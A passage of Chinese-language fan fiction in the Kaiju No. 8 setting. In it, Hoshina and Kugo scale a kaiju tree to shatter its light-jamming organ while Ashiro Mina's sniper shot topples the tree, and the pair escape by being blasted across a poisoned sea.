“通知亚白队长,”保科的指令简洁、有力,每一个字都敲在心跳的节拍上,“目标:巨树顶端发光器官下方二十五米处,主干第七能量节。”那是暮戈分析的核心所在。 他顿了顿,似乎在进行最后的目测确认。 “狙击窗口:三分钟后。” 他的声音带着点喘息,在干扰中扭曲了一下: “三分钟后……无论看到什么……开火。” ——嗡! 话音落下的瞬间,那片由主兽特异器官散发出的、浓郁到化不开的扭曲光晕,如同有生命的帷幕,彻底将两人的身影吞没。 屏幕上,代表他们的信号点剧烈闪烁了几下,随即被一片象征信号丢失与强干扰的灰色雪花取代。高空镜头里,只剩下一片令人不安的、不断折射变幻的炫光区域,再也看不到任何人类活动的痕迹。 他们消失了。 带着一个疯狂的计划,和一个更疯狂的三分钟倒计时。 那意味着,三分钟后,如果干扰没有消失,亚白队长的狙击将直接轰击他们最后消失的区域,连同可能还在那里的他们一起。 小此木向狙击阵地传达指令后,感觉浑身都被冷汗浸透了。她现在只希望,那五千字检讨……副队长真的能有机会去写。 被浓郁光晕吞没的瞬间,世界仿佛被剥离了颜色与形状,只剩下令人作呕的炫光和无处不在的能量乱流。声音被扭曲,方向感丧失,连重力都变得暧昧不明。 保科宗四郎和暮戈京矢背靠着“P-003”那冰冷、蠕动、覆盖着粘滑晶体的主干,脚下是近乎垂直的“树壁”。下方,被他们甩开的兽潮嘶吼变得遥远而模糊。上方,那散发干扰的特异器官隐在黑云之间,隔着令人绝望的垂直高度。 他们没有时间犹豫。 “路线我都看好了。”保科的声音在私人频道里响起,压过了周围的能量噪音,他用下巴示意上方一处——那里,一条比其他“枝干”更粗壮、如同主脉般向上延伸的巨大晶化结构侧面,有一道相对暗淡、被层层半透明晶簇褶皱覆盖的沟壑。“就从那条最大的‘树枝’侧面切上去。虽然会有点‘挤’,但直通核心下方。” 那所谓的“挤”,意味着他们需要在那条能量流动相对狂暴、结构却相对脆弱的缝隙里穿行,随时可能被合拢的晶簇夹碎,或者被内部奔流的能量灼伤。 暮戈的目光迅速扫过那条路线:“可行。”她没有废话,“我负责左侧与上方即时威胁清除,十号负责右侧及你的机动补正。” “好,”保科这种时候也笑得出来,“走着。” 攀登开始。 保科率先发力,双刀交错,刺入那道晶簇沟壑的边缘,身体借力向上荡去。暮戈紧随其后,她那窄长的刃尖此刻成了最精准的破拆工具,每一次刺击都点在晶簇连接的薄弱点,提前碎裂可能合拢或刺出的障碍,为保科开辟出仅容一人通过的狭窄通道。 十号的尾巴此刻发挥了无可替代的作用。它如同拥有独立意识的第三只手,时而如钢钎般刺入保科刀尖旁的缝隙,为他提供额外的着力点;时而猛然绷直,横抽向右侧企图探入通道的晶须,将其击偏;甚至在保科一次可能下滑的瞬间,灵活地卷住上方暮戈及时刺下的刀柄,将他猛地向上拉拽了一截! 通道越来越窄,能量乱流几乎化为实质的狂风。保科能感到空气变得稀薄,十号在他意识里兴奋与暴躁的咆哮混杂一片。暮戈的呼吸频率依旧稳定得可怕,左手不间断地扣动那狂暴的步枪的扳机,任何从侧面、上方试图干扰保科攀登的触须、弹射晶刺、或是小型余兽,都会在露头的瞬间被一团恰到好处的压缩震荡波轰开、震碎或暂时麻痹。 不断攀越,向上。 终于,他们冲出了那条狭窄的裂缝带,来到了那根巨大“枝桠”的顶端,真正站在了与那团搏动的“大灯泡”近乎平齐的高度。 强光几乎让人无法直视,能量乱流撕扯着身体。但目标,近在咫尺。 保科从攀登伊始就意识到,脚下这玩意似乎将绝大部分能量都用于维持庞大的躯体、生成海量余兽和制造光线干扰,依赖毒素的环境压制,其核心区域的主管攻击欲望却不高,也没有敏锐的自主意识去应对爬上自己身体的“虫子”。除了源自本能的能量辐射和少数挥舞的晶须,这里反而比下方区域更“安静”。 它庞大如山,却缺乏十号那种狂暴的战斗智慧与瞬间的致命爆发力。对于已经突破重重阻碍、贴身至此的保科来说,那看似恐怖的巨大特异化器官,其物理防御在他的刀锋面前,并不比一层特制合金板坚硬多少。 真正的难点,始终是“抵达”本身。 暮戈稳住身形,左手重枪枪口已经熔化变形,道道蒸汽顺着手臂包裹了她半身:“搞快点吧,亚白的狙击还有20秒。” 保科暗红色的装甲在近在咫尺的强光映照下流动着血色的光泽,甚至有余暇对暮戈笑了笑:“我说嘛,只要上得来,搞定它就是一下的事。” 说快他是真的快,双刀在手中转了个极小的刀花——【六式 八重斩】 八道斩击的轨迹在空中清晰可见,在同一落点、以微妙不同的角度和极快频率,同时送达。 “咔。” 一声清脆、干净、并不如何响亮的碎裂声响起。 笼罩整个战场、令第三部队束手无策的强烈光晕干扰,如同被关掉的灯泡,骤然熄灭,消失得干干净净。 “完事。比想象中……脆一点。” 而也就在光晕消散、视野彻底清晰的同一毫秒—— 一道超越了速度概念、仿佛来自世界之外的炽白闪光,从遥远的海岸线方向,贯穿了长空,撕裂了尚未完全散去的黑云与尘埃,带着绝对冷静的毁灭意志,精准无比地灌入了巨树主干上因震颤而暴露出的、最脆弱的能量节点! 亚白米娜,抓住了这转瞬即逝的五秒窗口,狙击命中! 不知道具体核心位置没关系——拦腰炸断即可。 真正的胜负,此刻才由那贯穿天际的一击,彻底奠定。 致命的破坏从内部开始,巨树开始无法逆转地崩解,发出震颤的轰鸣,缓缓倾倒,而完成“关灯”任务的两人,感到脚下一空,失重感猛然袭来,瞬间被山崩地裂般的剧烈震动与能量冲击所吞没。 他们上方是无数碎片残骸,而下方,是翻涌着毒素和残存余兽的海面。 保科身后那条尾巴一甩,卷住同样在下坠的暮戈京矢的腰身,把她带到怀里一把抱住,这次轮到他向她喊着问:“首席——计划是什么——” 计划?现在才想起来问是不是太晚了? 暮戈京矢不语,只是抬起那把因暴力使用、即将过热报废的重枪,视线越过他的肩胛。 “...喂,你不会是想——”保科的话没完整说出口,就感觉怀里那具躯体温度骤升——那是解放战力的瞬时爆发,他下意识收紧了手臂,转头对上她的视线。 那双绀青色的眼睛轻轻弯出一个弧度。 保科:“……”等,等一下。 她扣下了扳机。 “轰——!!!!!” 磅礴的气浪呈扇形向后猛烈喷发,如同一只无形的巨手,狠狠拍在了两人身后那片兜头盖脸砸来的残骸暴雨上! 那柄陪伴她贯穿战场的狂暴枪械从内部炸开,零件四散崩飞,枪管扭曲报废,彻底解体。 那比巨树倾倒还要恐怖的反冲力毫无保留作用在了他们身上。 “唔——” 保科连抗议的闷哼都被这股力量堵在了喉咙里。他只能生无可恋地祈祷十号战斗服抗震性能足够优越,首席!你这撤退路线太狂野了吧!! 这一招效果拔群,两人直接改变了下落的轨迹,近乎水平地被“二次发射”了出去,径直飞越了毒海与兽潮。 “噗通——!!” 落水声比预想的还要夸张。